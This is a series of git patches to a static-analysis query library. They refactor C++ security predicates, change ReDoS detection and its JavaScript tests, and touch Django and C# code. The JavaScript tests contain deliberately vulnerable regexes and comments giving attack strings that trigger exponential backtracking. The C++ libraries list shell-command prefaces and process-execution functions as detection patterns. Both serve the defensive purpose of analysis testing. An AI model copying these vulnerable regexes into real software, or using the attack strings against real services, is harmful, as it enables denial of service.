b/cpp/ql/src/semmle/code/cpp/Print.qll @@ -385,7 +385,7 @@ private class DumpFunction extends DumpDeclaration, Function { private string getACVQualifier() { result = getASpecifier().getName() and - (result = "const" or result = "volatile") + result = ["const", "volatile"] } private string getDeclaratorSuffix() { diff --git a/cpp/ql/src/semmle/code/cpp/commons/DateTime.qll b/cpp/ql/src/semmle/code/cpp/commons/DateTime.qll index abbb1193021..c67bf7cf96e 100644 --- a/cpp/ql/src/semmle/code/cpp/commons/DateTime.qll +++ b/cpp/ql/src/semmle/code/cpp/commons/DateTime.qll @@ -14,11 +14,7 @@ class PackedTimeType extends Type { } } -private predicate timeType(string typeName) { - typeName = "_SYSTEMTIME" or - typeName = "SYSTEMTIME" or - typeName = "tm" -} +private predicate timeType(string typeName) { typeName = ["_SYSTEMTIME", "SYSTEMTIME", "tm"] } /** * A type that is used to represent times and dates in an 'unpacked' form, that is, diff --git a/cpp/ql/src/semmle/code/cpp/controlflow/Dataflow.qll b/cpp/ql/src/semmle/code/cpp/controlflow/Dataflow.qll index 1a5d81ee9f3..32eb4ecc2e0 100644 --- a/cpp/ql/src/semmle/code/cpp/controlflow/Dataflow.qll +++ b/cpp/ql/src/semmle/code/cpp/controlflow/Dataflow.qll @@ -13,7 +13,7 @@ import Dereferenced * predicates that implement this analysis. */ abstract class DataflowAnnotation extends string { - DataflowAnnotation() { this = "pointer-null" or this = "pointer-valid" } + DataflowAnnotation() { this = ["pointer-null", "pointer-valid"] } /** Holds if this annotation is the default annotation. */ abstract predicate isDefault(); @@ -98,7 +98,7 @@ abstract class DataflowAnnotation extends string { * respectively. */ class NullnessAnnotation extends DataflowAnnotation { - NullnessAnnotation() { this = "pointer-null" or this = "pointer-valid" } + NullnessAnnotation() { this = ["pointer-null", "pointer-valid"] } override predicate isDefault() { this = "pointer-valid" } diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index 7ca5020422d..ae1bba7cd99 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -36,24 +36,12 @@ private predicate predictableInstruction(Instruction instr) { * library's `returnArgument` predicate. */ predicate predictableOnlyFlow(string name) { - name = "strcasestr" or - name = "strchnul" or - name = "strchr" or - name = "strchrnul" or - name = "strcmp" or - name = "strcspn" or - name = "strncmp" or - name = "strndup" or - name = "strnlen" or - name = "strrchr" or - name = "strspn" or - name = "strstr" or - name = "strtod" or - name = "strtof" or - name = "strtol" or - name = "strtoll" or - name = "strtoq" or - name = "strtoul" + name = + [ + "strcasestr", "strchnul", "strchr", "strchrnul", "strcmp", "strcspn", "strncmp", "strndup", + "strnlen", "strrchr", "strspn", "strstr", "strtod", "strtof", "strtol", "strtoll", "strtoq", + "strtoul" + ] } private DataFlow::Node getNodeForSource(Expr source) { @@ -652,7 +640,8 @@ module TaintedWithPath { override predicate hasLocationInfo( string filepath, int startline, int startcolumn, int endline, int endcolumn ) { - this.inner() + this + .inner() .getLocation() .hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) } diff --git a/cpp/ql/src/semmle/code/cpp/security/BufferAccess.qll b/cpp/ql/src/semmle/code/cpp/security/BufferAccess.qll index 977e5fcb078..faeb859506d 100644 --- a/cpp/ql/src/semmle/code/cpp/security/BufferAccess.qll +++ b/cpp/ql/src/semmle/code/cpp/security/BufferAccess.qll @@ -42,13 +42,11 @@ abstract class BufferAccess extends Expr { */ class MemcpyBA extends BufferAccess { MemcpyBA() { - this.(FunctionCall).getTarget().getName() = "memcpy" or - this.(FunctionCall).getTarget().getName() = "wmemcpy" or - this.(FunctionCall).getTarget().getName() = "memmove" or - this.(FunctionCall).getTarget().getName() = "wmemmove" or - this.(FunctionCall).getTarget().getName() = "mempcpy" or - this.(FunctionCall).getTarget().getName() = "wmempcpy" or - this.(FunctionCall).getTarget().getName() = "RtlCopyMemoryNonTemporal" + this.(FunctionCall).getTarget().getName() = + [ + "memcpy", "wmemcpy", "memmove", "wmemmove", "mempcpy", "wmempcpy", + "RtlCopyMemoryNonTemporal" + ] } override string getName() { result = this.(FunctionCall).getTarget().getName() } @@ -157,10 +155,7 @@ class MemccpyBA extends BufferAccess { */ class MemcmpBA extends BufferAccess { MemcmpBA() { - this.(FunctionCall).getTarget().getName() = "memcmp" or - this.(FunctionCall).getTarget().getName() = "wmemcmp" or - this.(FunctionCall).getTarget().getName() = "_memicmp" or - this.(FunctionCall).getTarget().getName() = "_memicmp_l" + this.(FunctionCall).getTarget().getName() = ["memcmp", "wmemcmp", "_memicmp", "_memicmp_l"] } override string getName() { result = this.(FunctionCall).getTarget().getName() } @@ -188,10 +183,7 @@ class MemcmpBA extends BufferAccess { * _swab(src, dest, num) */ class SwabBA extends BufferAccess { - SwabBA() { - this.(FunctionCall).getTarget().getName() = "swab" or - this.(FunctionCall).getTarget().getName() = "_swab" - } + SwabBA() { this.(FunctionCall).getTarget().getName() = ["swab", "_swab"] } override string getName() { result = this.(FunctionCall).getTarget().getName() } @@ -218,10 +210,7 @@ class SwabBA extends BufferAccess { * wmemset(dest, value, num) */ class MemsetBA extends BufferAccess { - MemsetBA() { - this.(FunctionCall).getTarget().getName() = "memset" or - this.(FunctionCall).getTarget().getName() = "wmemset" - } + MemsetBA() { this.(FunctionCall).getTarget().getName() = ["memset", "wmemset"] } override string getName() { result = this.(FunctionCall).getTarget().getName() } @@ -262,10 +251,7 @@ class ZeroMemoryBA extends BufferAccess { * wmemchr(buffer, value, num) */ class MemchrBA extends BufferAccess { - MemchrBA() { - this.(FunctionCall).getTarget().getName() = "memchr" or - this.(FunctionCall).getTarget().getName() = "wmemchr" - } + MemchrBA() { this.(FunctionCall).getTarget().getName() = ["memchr", "wmemchr"] } override string getName() { result = this.(FunctionCall).getTarget().getName() } diff --git a/cpp/ql/src/semmle/code/cpp/security/CommandExecution.qll b/cpp/ql/src/semmle/code/cpp/security/CommandExecution.qll index 38187f2e0e6..d9bb701be58 100644 --- a/cpp/ql/src/semmle/code/cpp/security/CommandExecution.qll +++ b/cpp/ql/src/semmle/code/cpp/security/CommandExecution.qll @@ -168,17 +168,14 @@ class ArrayExecFunctionCall extends FunctionCall { * for testing purposes. */ predicate shellCommandPreface(string cmd, string flag) { - (cmd = "sh" or cmd = "/bin/sh" or cmd = "bash" or cmd = "/bin/bash") and + cmd = ["sh", "/bin/sh", "bash", "/bin/bash"] and flag = "-c" or - ( - cmd = "cmd" or - cmd = "cmd.exe" or - cmd = "CMD" or - cmd = "CMD.EXE" or - cmd = "%WINDIR%\\system32\\cmd.exe" // used in Juliet tests - ) and - (flag = "/c" or flag = "/C") + cmd = + [ + "cmd", "cmd.exe", "CMD", "CMD.EXE", "%WINDIR%\\system32\\cmd.exe" // used in Juliet tests + ] and + flag = ["/c", "/C"] } /** diff --git a/cpp/ql/src/semmle/code/cpp/security/Encryption.qll b/cpp/ql/src/semmle/code/cpp/security/Encryption.qll index d8b2d44c923..606242e833c 100644 --- a/cpp/ql/src/semmle/code/cpp/security/Encryption.qll +++ b/cpp/ql/src/semmle/code/cpp/security/Encryption.qll @@ -8,21 +8,17 @@ import cpp * Gets the name of an algorithm that is known to be insecure. */ string getAnInsecureAlgorithmName() { - result = "DES" or - result = "RC2" or - result = "RC4" or - result = "RC5" or - result = "ARCFOUR" // a variant of RC4 + result = + [ + "DES", "RC2", "RC4", "RC5", "ARCFOUR" // ARCFOUR is a variant of RC4 + ] } /** * Gets the name of a hash algorithm that is insecure if it is being used for * encryption (but it is hard to know when that is happening). */ -string getAnInsecureHashAlgorithmName() { - result = "SHA1" or - result = "MD5" -} +string getAnInsecureHashAlgorithmName() { result = ["SHA1", "MD5"] } /** * Gets the regular expression used for matching strings that look like they @@ -45,13 +41,7 @@ string getInsecureAlgorithmRegex() { * Gets the name of an algorithm that is known to be secure. */ string getASecureAlgorithmName() { - result = "RSA" or - result = "SHA256" or - result = "CCM" or - result = "GCM" or - result = "AES" or - result = "Blowfish" or - result = "ECIES" + result = ["RSA", "SHA256", "CCM", "GCM", "AES", "Blowfish", "ECIES"] } /** diff --git a/cpp/ql/src/semmle/code/cpp/security/Security.qll b/cpp/ql/src/semmle/code/cpp/security/Security.qll index c12a70b52c6..16dc89d9a6e 100644 --- a/cpp/ql/src/semmle/code/cpp/security/Security.qll +++ b/cpp/ql/src/semmle/code/cpp/security/Security.qll @@ -20,36 +20,13 @@ class SecurityOptions extends string { * name is a pure function of its arguments. */ predicate isPureFunction(string name) { - name = "abs" or - name = "atof" or - name = "atoi" or - name = "atol" or - name = "atoll" or - name = "labs" or - name = "strcasestr" or - name = "strcat" or - name = "strchnul" or - name = "strchr" or - name = "strchrnul" or - name = "strcmp" or - name = "strcpy" or - name = "strcspn" or - name = "strdup" or - name = "strlen" or - name = "strncat" or - name = "strncmp" or - name = "strncpy" or - name = "strndup" or - name = "strnlen" or - name = "strrchr" or - name = "strspn" or - name = "strstr" or - name = "strtod" or - name = "strtof" or - name = "strtol" or - name = "strtoll" or - name = "strtoq" or - name = "strtoul" + name = + [ + "abs", "atof", "atoi", "atol", "atoll", "labs", "strcasestr", "strcat", "strchnul", + "strchr", "strchrnul", "strcmp", "strcpy", "strcspn", "strdup", "strlen", "strncat", + "strncmp", "strncpy", "strndup", "strnlen", "strrchr", "strspn", "strstr", "strtod", + "strtof", "strtol", "strtoll", "strtoq", "strtoul" + ] } /** @@ -73,13 +50,7 @@ class SecurityOptions extends string { functionCall.getTarget().hasGlobalOrStdName(fname) and exists(functionCall.getArgument(arg)) and ( - fname = "fread" and arg = 0 - or - fname = "fgets" and arg = 0 - or - fname = "fgetws" and arg = 0 - or - fname = "gets" and arg = 0 + fname = ["fread", "fgets", "fgetws", "gets"] and arg = 0 or fname = "scanf" and arg >= 1 or @@ -89,16 +60,12 @@ class SecurityOptions extends string { functionCall.getTarget().hasGlobalName(fname) and exists(functionCall.getArgument(arg)) and ( - fname = "read" and arg = 1 + fname = ["read", "recv", "recvmsg"] and arg = 1 or fname = "getaddrinfo" and arg = 3 or - fname = "recv" and arg = 1 - or fname = "recvfrom" and (arg = 1 or arg = 4 or arg = 5) - or - fname = "recvmsg" and arg = 1 ) ) } @@ -110,8 +77,7 @@ class SecurityOptions extends string { exists(string fname | functionCall.getTarget().getName() = fname and ( - fname = "fgets" or - fname = "gets" or + fname = ["fgets", "gets"] or userInputReturn(fname) ) ) @@ -132,30 +98,12 @@ class SecurityOptions extends string { */ predicate isProcessOperationArgument(string function, int arg) { // POSIX - function = "system" and arg = 0 - or - function = "popen" and arg = 0 - or - function = "execl" and arg = 0 - or - function = "execlp" and arg = 0 - or - function = "execle" and arg = 0 - or - function = "execv" and arg = 0 - or - function = "execvp" and arg = 0 - or - function = "execvpe" and arg = 0 - or - function = "dlopen" and arg = 0 + function = + ["system", "popen", "execl", "execlp", "execle", "execv", "execvp", "execvpe", "dlopen"] and + arg = 0 or // Windows - function = "LoadLibrary" and arg = 0 - or - function = "LoadLibraryA" and arg = 0 - or - function = "LoadLibraryW" and arg = 0 + function = ["LoadLibrary", "LoadLibraryA", "LoadLibraryW"] and arg = 0 } /** From cc98c41dd641a4dcdd17e8ccf9523e9ded4253df Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 3 Dec 2020 20:08:07 +0100 Subject: [PATCH 0133/1241] revert marking repetitions with possibly empty body as forks --- javascript/ql/src/Performance/ReDoS.ql | 25 +------------------ .../Performance/ReDoS/ReDoS.expected | 11 -------- .../test/query-tests/Performance/ReDoS/tst.js | 16 ++++++------ 3 files changed, 9 insertions(+), 43 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 62457c651ce..495db3ae659 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -702,28 +702,6 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { r1 != r2 or r1 = r2 and q1 != q2 - or - r1 = r2 and - q1 = q2 and - epsilonSucc+(q) = q and - exists(RegExpTerm term | term = q.getRepr() | term instanceof InfiniteRepetitionQuantifier) and - ( - // There is either multiple possible "mid" states. - count(State mid | - mid = epsilonSucc+(q) and - q = epsilonSucc+(mid) and - not mid = q - ) > 2 - or - // Or one of the mid states is an infinite quantifier itself - exists(State mid, RegExpTerm term | - mid = epsilonSucc+(q) and - q = epsilonSucc+(mid) and - not mid = q and - term = mid.getRepr() and - term instanceof InfiniteRepetitionQuantifier - ) - ) ) and stateInsideBacktracking(r1) and stateInsideBacktracking(r2) @@ -1164,8 +1142,7 @@ predicate isReDoSCandidate(State state, string pump) { bindingset[s] string escape(string s) { result = - s - .replaceAll("\\", "\\\\") + s.replaceAll("\\", "\\\\") .replaceAll("\n", "\\n") .replaceAll("\r", "\\r") .replaceAll("\t", "\\t") diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index f6bd287b5d8..3cc8b3a528f 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -11,7 +11,6 @@ | regexplib/email.js:5:24:5:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:5:63:5:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:6:10:6:35 | (?:[a-zA-Z0-9][\\.\\-\\+_]?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:13:36:13:44 | [a-zA-Z]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. | | regexplib/email.js:25:67:25:78 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:25:212:25:223 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | @@ -23,7 +22,6 @@ | regexplib/email.js:34:24:34:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:34:63:34:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/markup.js:3:451:3:453 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '<?i:q ' and containing many repetitions of 'a '. | -| regexplib/markup.js:7:15:7:21 | [^\\\\"]* | This part of the regular expression may cause exponential backtracking on strings starting with '"!' and containing many repetitions of '!'. | | regexplib/markup.js:13:6:13:12 | [^"']+? | This part of the regular expression may cause exponential backtracking on strings starting with '<' and containing many repetitions of '!'. | | regexplib/markup.js:13:14:13:16 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '<' and containing many repetitions of 'a"'. | | regexplib/markup.js:37:29:37:56 | [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | This part of the regular expression may cause exponential backtracking on strings starting with '[a=' and containing many repetitions of '='. | @@ -32,7 +30,6 @@ | regexplib/markup.js:53:29:53:56 | [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | This part of the regular expression may cause exponential backtracking on strings starting with '[a=' and containing many repetitions of '='. | | regexplib/markup.js:56:23:56:25 | \\w+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | regexplib/markup.js:56:132:56:134 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with 'a[@a=''' and containing many repetitions of ' @a<""'. | -| regexplib/misc.js:4:36:4:44 | [a-zA-Z]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. | | regexplib/misc.js:15:56:15:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:24:56:24:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:79:3:79:25 | (\\/w\|\\/W\|[^<>+?$%{}&])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/W'. | @@ -41,10 +38,8 @@ | regexplib/misc.js:148:20:148:22 | \\s+ | This part of the regular expression may cause exponential backtracking on strings starting with '<!' and containing many repetitions of ' '. | | regexplib/misc.js:148:23:148:29 | [^"'=]+ | This part of the regular expression may cause exponential backtracking on strings starting with '<! ' and containing many repetitions of '! '. | | regexplib/strings.js:19:31:19:57 | [a-zæøå0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '#@' and containing many repetitions of '#'. | -| regexplib/strings.js:47:3:47:5 | \\S* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. | | regexplib/strings.js:57:17:57:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/strings.js:81:17:81:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | -| regexplib/strings.js:91:3:91:5 | \\S* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. | | regexplib/uri.js:3:128:3:129 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// /' and containing many repetitions of '/'. | | regexplib/uri.js:3:200:3:215 | (?:\\&?\\w+\\=\\w+)* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a="' and containing many repetitions of '0=0'. | | regexplib/uri.js:5:42:5:43 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'A:\\\\a' and containing many repetitions of '\\\\a'. | @@ -67,7 +62,6 @@ | tst.js:52:37:52:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$[' and containing many repetitions of ']['. | | tst.js:52:70:52:72 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$.$[' and containing many repetitions of ']['. | | tst.js:58:15:58:20 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| tst.js:59:15:59:20 | [a-z]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:60:43:60:54 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. | | tst.js:66:38:66:40 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. | @@ -129,10 +123,5 @@ | tst.js:305:18:305:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | | tst.js:308:16:308:24 | ([^/]\|X)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'X'. | | tst.js:311:20:311:24 | [^Y]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'x' and containing many repetitions of 'Xx'. | -| tst.js:314:15:314:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| tst.js:317:18:317:23 | [\\w-]* | This part of the regular expression may cause exponential backtracking on strings starting with 'foo' and containing many repetitions of '-'. | -| tst.js:320:15:320:19 | (ab)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ab'. | | tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| tst.js:329:14:329:20 | (c?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| tst.js:335:14:335:20 | (a?b?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index b2be76758e0..c39e4eef87c 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -54,11 +54,11 @@ var bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/ // GOOD var good6 = /(a|.)*/; -// NOT GOOD; But we don't detect the last one due to how we construct the NFA. +// Testing the NFA - only some of the below are detected. var bad7 = /^([a-z]+)+$/; -var bad8 = /^([a-z]*)*$/; +var bad8 = /^([a-z]*)*$/; // NOT detected var bad9 = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/; -var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; +var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; // NOT detected // NOT GOOD; attack: "[" + "][".repeat(100) + "]!" // Adapted from Prototype.js (https://github.com/prototypejs/prototype), which @@ -310,13 +310,13 @@ var good36 = /(([^/]|X)+)(\/[^]*)*$/; // GOOD - but we spuriously conclude that a rejecting suffix exists. var good37 = /^((x([^Y]+)?)*(Y|$))/; -// NOT GOOD +// NOT GOOD - but not detected var bad68 = /(a*)+b/; -// NOT GOOD +// NOT GOOD - but not detected var bad69 = /foo([\w-]*)+bar/; -// NOT GOOD +// NOT GOOD - but not detected var bad70 = /((ab)*)+c/; // NOT GOOD @@ -325,11 +325,11 @@ var bad71 = /(a?a?)*b/; // GOOD var good38 = /(a?)*b/; -// NOT GOOD - but wrong pump string. +// NOT GOOD - but not detected var bad72 = /(c?a?)*b/; // NOT GOOD var bad73 = /(?:a|a?)+b/; -// NOT GOOD - but wrong pump string. +// NOT GOOD - but not detected. var bad74 = /(a?b?)*$/; \ No newline at end of file From ffdbecfbb752de36051d2ea2f69b1911e1d177a3 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Fri, 4 Dec 2020 11:29:52 +0100 Subject: [PATCH 0134/1241] Python: Simplify getARouteHandler for Django --- .../src/semmle/python/frameworks/Django.qll | 31 +++++++++---------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index db8f31f990d..4aa490f24bf 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1549,8 +1549,16 @@ private module Django { Parameter getRequestParam() { result = this.getArg(this.getRequestParamIndex()) } } + /** A data-flow node that sets up a route on a server, using the django framework. */ abstract private class DjangoRouteSetup extends HTTP::Server::RouteSetup::Range, DataFlow::CfgNode { - abstract override DjangoRouteHandler getARouteHandler(); + /** Gets the data-flow node that is used as the argument for the view handler. */ + abstract DataFlow::Node getViewArg(); + + final override DjangoRouteHandler getARouteHandler() { + exists(DataFlow::Node viewArg | viewArg = getViewArg() | + djangoRouteHandlerFunctionTracker(result) = viewArg + ) + } } /** @@ -1576,11 +1584,8 @@ private module Django { result.asCfgNode() = [node.getArg(0), node.getArgByName("route")] } - override DjangoRouteHandler getARouteHandler() { - exists(DataFlow::Node viewArg | - viewArg.asCfgNode() in [node.getArg(1), node.getArgByName("view")] and - djangoRouteHandlerFunctionTracker(result) = viewArg - ) + override DataFlow::Node getViewArg() { + result.asCfgNode() in [node.getArg(1), node.getArgByName("view")] } override Parameter getARoutedParameter() { @@ -1661,11 +1666,8 @@ private module Django { result.asCfgNode() = [node.getArg(0), node.getArgByName("route")] } - override DjangoRouteHandler getARouteHandler() { - exists(DataFlow::Node viewArg | - viewArg.asCfgNode() in [node.getArg(1), node.getArgByName("view")] and - djangoRouteHandlerFunctionTracker(result) = viewArg - ) + override DataFlow::Node getViewArg() { + result.asCfgNode() in [node.getArg(1), node.getArgByName("view")] } } @@ -1683,11 +1685,8 @@ private module Django { result.asCfgNode() = [node.getArg(0), node.getArgByName("regex")] } - override DjangoRouteHandler getARouteHandler() { - exists(DataFlow::Node viewArg | - viewArg.asCfgNode() in [node.getArg(1), node.getArgByName("view")] and - djangoRouteHandlerFunctionTracker(result) = viewArg - ) + override DataFlow::Node getViewArg() { + result.asCfgNode() in [node.getArg(1), node.getArgByName("view")] } } From 37f32f4014b52a9797277ec5e57437a10034fe09 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Fri, 4 Dec 2020 13:05:53 +0100 Subject: [PATCH 0135/1241] C#: Improve join-order in `DefaultToString.qll` --- csharp/ql/src/Useless code/DefaultToString.qll | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/csharp/ql/src/Useless code/DefaultToString.qll b/csharp/ql/src/Useless code/DefaultToString.qll index 810e815950b..9ba8be009da 100644 --- a/csharp/ql/src/Useless code/DefaultToString.qll +++ b/csharp/ql/src/Useless code/DefaultToString.qll @@ -20,9 +20,15 @@ predicate invokesToString(Expr e, ValueOrRefType t) { // Implicit invocation via forwarder method t = e.stripCasts().getType() and not t instanceof StringType and - exists(AssignableDefinitions::ImplicitParameterDefinition def, Parameter p, ParameterRead pr | + exists(Parameter p | + alwaysInvokesToStringOnParameter(p) and e = p.getAnAssignedArgument() - | + ) +} + +pragma[noinline] +private predicate alwaysInvokesToStringOnParameter(Parameter p) { + exists(AssignableDefinitions::ImplicitParameterDefinition def, ParameterRead pr | def.getParameter() = p and pr = def.getAReachableRead() and pr.getAControlFlowNode().postDominates(p.getCallable().getEntryPoint()) and From 9afce31e92ad3ee29dc6f3ab9ad083a104045762 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Fri, 4 Dec 2020 13:12:33 +0100 Subject: [PATCH 0136/1241] C#: Add one more CFG test for nested finally blocks --- .../controlflow/graph/BasicBlock.expected | 24 ++ .../controlflow/graph/Condition.expected | 42 +++ .../controlflow/graph/Dominance.expected | 275 ++++++++++++++++++ .../graph/EnclosingCallable.expected | 116 ++++++++ .../controlflow/graph/EntryElement.expected | 30 ++ .../controlflow/graph/ExitElement.expected | 65 +++++ .../controlflow/graph/Finally.cs | 30 ++ .../controlflow/graph/NodeGraph.expected | 99 +++++++ .../controlflow/graph/Nodes.expected | 59 ++++ 9 files changed, 740 insertions(+) diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 98e4b28801f..d6e757af5de 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -641,6 +641,30 @@ | Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:13:220:36 | call to method WriteLine | 1 | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:224:13:224:38 | call to method WriteLine | 5 | | Finally.cs:227:9:229:9 | {...} | Finally.cs:216:10:216:12 | exit M11 | 9 | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:239:21:239:22 | access to parameter b1 | 8 | +| Finally.cs:233:10:233:12 | exit M12 | Finally.cs:233:10:233:12 | exit M12 | 1 | +| Finally.cs:233:10:233:12 | exit M12 (abnormal) | Finally.cs:233:10:233:12 | exit M12 (abnormal) | 1 | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | 6 | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | 1 | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | 5 | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:246:25:246:26 | access to parameter b2 | 5 | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | 5 | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | 5 | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | 5 | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | 1 | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | 1 | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | 1 | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): 